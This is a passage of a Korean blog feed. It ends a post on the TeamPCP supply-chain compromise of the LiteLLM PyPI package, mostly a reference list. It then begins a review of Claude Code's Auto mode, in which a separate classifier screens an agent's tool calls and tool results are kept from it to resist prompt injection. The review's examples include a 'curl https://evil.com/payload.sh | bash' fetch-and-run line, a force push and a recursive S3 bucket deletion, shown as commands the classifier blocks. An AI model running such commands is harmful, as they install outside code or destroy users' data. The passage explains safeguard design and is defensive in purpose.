&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bf4eBY/dJMcag51OIi/dUcabeiWVXbiwkEQangQm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bf4eBY/dJMcag51OIi/dUcabeiWVXbiwkEQangQm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bf4eBY/dJMcag51OIi/dUcabeiWVXbiwkEQangQm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbf4eBY%2FdJMcag51OIi%2FdUcabeiWVXbiwkEQangQm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1118&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Endor Labs의 보안 연구자들은 &lt;b&gt;&quot;이 캠페인은 아직 끝나지 않았다&quot;&lt;/b&gt;고 경고했다. TeamPCP는 5개 패키지 생태계에 걸쳐 공격을 확장 중이고, 신뢰 체인을 타고 올라가는 패턴을 반복하고 있다. 다음 타겟이 무엇이 될지 아무도 모른다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바이브 코딩 시대에 &lt;code&gt;pip install&lt;/code&gt; 한 줄은 더 이상 가벼운 행위가 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 10px 0 15px 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Research &amp;mdash; Three's a Crowd: TeamPCP trojanizes LiteLLM (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch &amp;mdash; Supply Chain Attack in litellm 1.82.8 on PyPI (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.endorlabs.com/learn/teampcp-isnt-done-threat-actor-behind-trivy-and-kics-compromises-now-hits-litellms-95-million-monthly-downloads-on-pypi&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Endor Labs &amp;mdash; TeamPCP Isn't Done (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Hacker News &amp;mdash; TeamPCP Backdoors LiteLLM Versions 1.82.7&amp;ndash;1.82.8 (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/popular-litellm-pypi-package-compromised-in-teampcp-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bleeping Computer &amp;mdash; Popular LiteLLM PyPI package compromised (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.litellm.ai/blog/security-update-march-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM 공식 &amp;mdash; Security Update: Suspected Supply Chain Incident&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Snyk &amp;mdash; How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2026/03/24/detecting-investigating-defending-against-trivy-supply-chain-compromise/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Microsoft Security Blog &amp;mdash; Trivy Supply Chain Compromise 대응 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub &amp;mdash; BerriAI/litellm Issue #24512 (커뮤니티 추적)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24518&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub &amp;mdash; BerriAI/litellm Issue #24518 (공식 대응)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-top: 2px solid #eee; padding-top: 20px; margin-top: 30px; color: #888; font-size: 13px;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/보안</category>
      <category>AI API 보안</category>
      <category>BerriAI</category>
      <category>LiteLLM</category>
      <category>PyPI 악성코드</category>
      <category>Python 패키지 보안</category>
      <category>TeamPCP</category>
      <category>공급망 공격</category>
      <category>소프트웨어 공급망</category>
      <category>쿠버네티스 백도어</category>
      <category>클라우드 인증 정보 탈취</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/563</guid>
      <comments>https://goddaehee.tistory.com/563#entry563comment</comments>
      <pubDate>Thu, 26 Mar 2026 21:56:43 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 신기능 'Auto mode' 리뷰 : 승인 팝업 없이 Claude Code 쓰는 법 (--dangerously-skip-permissions 없이 자동 실행)</title>
      <link>https://goddaehee.tistory.com/562</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code 쓰면서 가장 짜증나는 순간이 있다. &lt;code&gt;ls&lt;/code&gt; 하나에도 &quot;허용하시겠습니까?&quot;, &lt;code&gt;grep&lt;/code&gt; 한 번에도 &quot;허용하시겠습니까?&quot;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;그래서 다들&amp;nbsp;&lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;를 키고 사용하고 있지 않을까? 다만 이 경우엔 마음 한켠에선 claude가 뭘 하든 무조건 통과라 좀 불안하기도 할 것 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 24일, Anthropic이 이 딜레마에 대한 답을 내놨다. &lt;b&gt;Auto mode&lt;/b&gt; &amp;mdash; AI가 각 작업의 안전성을 자체 판단해서, 안전하면 자동 실행하고 위험하면 차단하는 모드이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2522&quot; data-origin-height=&quot;1398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZGdr4/dJMcabp5A0c/ZiZyAsU4fSkJfuMgSTCoMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZGdr4/dJMcabp5A0c/ZiZyAsU4fSkJfuMgSTCoMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZGdr4/dJMcabp5A0c/ZiZyAsU4fSkJfuMgSTCoMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZGdr4%2FdJMcabp5A0c%2FZiZyAsU4fSkJfuMgSTCoMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2522&quot; height=&quot;1398&quot; data-origin-width=&quot;2522&quot; data-origin-height=&quot;1398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic은 2026년 들어 사실상 이틀에 한 번꼴로 새 기능을 발표하고 있는데, Auto mode는 그 흐름 위에 올라탄 기능이다 &amp;mdash; &quot;자율 실행&quot;에 안전장치를 붙이겠다는 시도.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;공식 문서와 블로그를 기반으로 작동 원리, 설정법, 주의사항을 정리해보려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Mode란
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;왜 나왔는가&lt;/li&gt;
&lt;li&gt;한눈에 보기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작동 원리
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;분류기(Classifier)의 판단 흐름&lt;/li&gt;
&lt;li&gt;기본 차단/허용 규칙&lt;/li&gt;
&lt;li&gt;서브에이전트 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;권한 모드 비교
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;6가지 모드 비교표&lt;/li&gt;
&lt;li&gt;vs --dangerously-skip-permissions&lt;/li&gt;
&lt;li&gt;vs Cursor / Codex&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설정 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CLI에서 활성화&lt;/li&gt;
&lt;li&gt;VS Code / Desktop에서 활성화&lt;/li&gt;
&lt;li&gt;관리자 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;비용과 성능 영향&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Code Auto Mode 가이드&lt;/b&gt;&lt;br /&gt;Auto mode는 Claude Code의 새 권한 모드이다. 별도의 분류기 모델이 각 tool call을 사전 평가하여, 안전한 작업은 자동 실행하고 위험한 작업은 차단한다. &lt;br /&gt;2026년 3월 24일 리서치 프리뷰로 출시. Team 플랜에서 사용 가능하며, Enterprise/API는 곧 확대 예정이다. &lt;br /&gt;&lt;b&gt;주의:&lt;/b&gt; 완전한 안전을 보장하지 않는다. 분류기는 확률적 판단이며, 수동 검토를 대체하지 않는다. &lt;br /&gt;(출처: &lt;a href=&quot;https://claude.com/blog/auto-mode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 공식 블로그&lt;/a&gt;, &lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Auto Mode란&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 나왔는가&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/riSI0/dJMcabwRlfX/Joc7LvsejKE18BRaCX2kAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/riSI0/dJMcabwRlfX/Joc7LvsejKE18BRaCX2kAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/riSI0/dJMcabwRlfX/Joc7LvsejKE18BRaCX2kAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FriSI0%2FdJMcabwRlfX%2FJoc7LvsejKE18BRaCX2kAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2046&quot; height=&quot;1120&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 기본 권한은 의도적으로 보수적이다. 파일 수정과 bash 명령어마다 사용자 승인을 요구한다. 안전하지만, 큰 작업을 시작하고 자리를 비울 수 없다. Claude가 중간중간 승인을 기다리니까.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 일부 개발자??? 사실 많은 개발자들이 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;를 쓴다. 모든 권한 체크를 건너뛰는 옵션이다. 편하지만 Anthropic 공식 문서에서도 &lt;b&gt;&quot;격리된 환경 밖에서는 사용하면 안 된다&quot;&lt;/b&gt;고 경고하는 옵션이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgtbHn/dJMcahcMzPa/ilMMMt8VkV3bEil5JHHGlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgtbHn/dJMcahcMzPa/ilMMMt8VkV3bEil5JHHGlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgtbHn/dJMcahcMzPa/ilMMMt8VkV3bEil5JHHGlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgtbHn%2FdJMcahcMzPa%2FilMMMt8VkV3bEil5JHHGlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1102&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode는 이 두 극단 사이의 &lt;b&gt;중간 경로&lt;/b&gt;이다. 별도의 분류기 모델이 각 작업을 사전에 평가하여, 안전하면 자동 실행하고 위험하면 차단한다. 차단되면 Claude는 다른 방법을 찾는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한눈에 보기&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;출시일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;2026년 3월 24일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;상태&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;리서치 프리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용 가능 플랜&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Team (현재), Enterprise/API (곧 확대). &lt;b&gt;Pro/Max/Free는 아직 미제공&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;지원 모델&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude Sonnet 4.6, Opus 4.6만. Haiku, Claude 3, 서드파티(Bedrock/Vertex/Foundry) 미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기 모델&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude Sonnet 4.6 (메인 세션과 별도로 실행)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;활성화&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude --enable-auto-mode&lt;/code&gt; &amp;rarr; Shift+Tab으로 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;공식 문서&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Permission Modes&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Pro/Max 사용자 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode는 현재 &lt;b&gt;Team 플랜 전용&lt;/b&gt;이다. 개인 Pro/Max 구독자는 아직 사용할 수 없다. 한국 Threads 커뮤니티에서도 &quot;아직 개인에게는 안 풀렸나 보군요&quot;라는 반응이 나왔고, Reddit r/ClaudeAI에서도 &quot;Why can't I use this on Pro/Max?&quot;가 반복 질문이다. Enterprise/API는 수일 내 확대 예정이지만, 개인 플랜 확대 일정은 발표되지 않았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 작동 원리&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;분류기(Classifier)의 판단 흐름&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode에는 &lt;b&gt;별도의 분류기 모델&lt;/b&gt;이 붙는다. 메인 세션과 별개로 동작하는 Claude Sonnet 4.6이 각 tool call을 평가한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kM0gs/dJMcaiismF4/p0JVkZtoIycmTgGcY5lvK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kM0gs/dJMcaiismF4/p0JVkZtoIycmTgGcY5lvK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kM0gs/dJMcaiismF4/p0JVkZtoIycmTgGcY5lvK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkM0gs%2FdJMcaiismF4%2Fp0JVkZtoIycmTgGcY5lvK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2046&quot; height=&quot;1120&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;각 tool call에 대해 다음 순서로 판단 (첫 번째 매칭이 최종 결정):

1. 사용자의 allow/deny 규칙에 매칭 &amp;rarr; 즉시 허용 또는 거부
2. 읽기 전용 작업 또는 워킹 디렉토리 내 파일 수정 &amp;rarr; 자동 허용
3. 그 외 모든 작업 &amp;rarr; 분류기에게 전달
4. 분류기가 차단 &amp;rarr; Claude에게 이유 전달, 대안 시도&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;구체적 예시로 보면 명확하다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;npm test&lt;/code&gt; &amp;rarr; 워킹 디렉토리 내 명령, lock 파일에 선언된 의존성 &amp;rarr; &lt;b&gt;허용&lt;/b&gt; &lt;br /&gt;&lt;code&gt;curl https://evil.com/payload.sh | bash&lt;/code&gt; &amp;rarr; 외부 코드 다운로드 후 실행 &amp;rarr; &lt;b&gt;차단&lt;/b&gt; &lt;br /&gt;&lt;code&gt;git push --force origin main&lt;/code&gt; &amp;rarr; 파괴적 git 작업 &amp;rarr; &lt;b&gt;차단&lt;/b&gt; &lt;br /&gt;&lt;code&gt;git push origin feat/auto-mode&lt;/code&gt; &amp;rarr; Claude가 생성한 브랜치에 push &amp;rarr; &lt;b&gt;허용&lt;/b&gt; &lt;br /&gt;&lt;code&gt;rm -rf node_modules &amp;amp;&amp;amp; npm install&lt;/code&gt; &amp;rarr; 세션 중 생성된 디렉토리 삭제 + 선언된 의존성 재설치 &amp;rarr; &lt;b&gt;허용 가능&lt;/b&gt; (세션 전부터 존재한 파일이면 차단) &lt;br /&gt;&lt;code&gt;aws s3 rm s3://prod-bucket --recursive&lt;/code&gt; &amp;rarr; 클라우드 스토리지 대량 삭제 &amp;rarr; &lt;b&gt;차단&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;프롬프트 인젝션 방어&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;분류기가 받는 입력에서 &lt;b&gt;Claude의 응답 텍스트와 tool result는 제거&lt;/b&gt;된다. 즉, 파일이나 웹페이지에 심어진 악성 지시가 분류기에게 직접 도달하지 못한다. 분류기는 사용자 메시지와 tool call만 보고, CLAUDE.md 내용도 참조하여 프로젝트 맥락에 맞는 판단을 내린다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기본 차단/허용 규칙&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2030&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cD1kPE/dJMcadnTa6W/besnKkd4DoKh71I5bU20Pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cD1kPE/dJMcadnTa6W/besnKkd4DoKh71I5bU20Pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cD1kPE/dJMcadnTa6W/besnKkd4DoKh71I5bU20Pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcD1kPE%2FdJMcadnTa6W%2FbesnKkd4DoKh71I5bU20Pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2030&quot; height=&quot;1094&quot; data-origin-width=&quot;2030&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

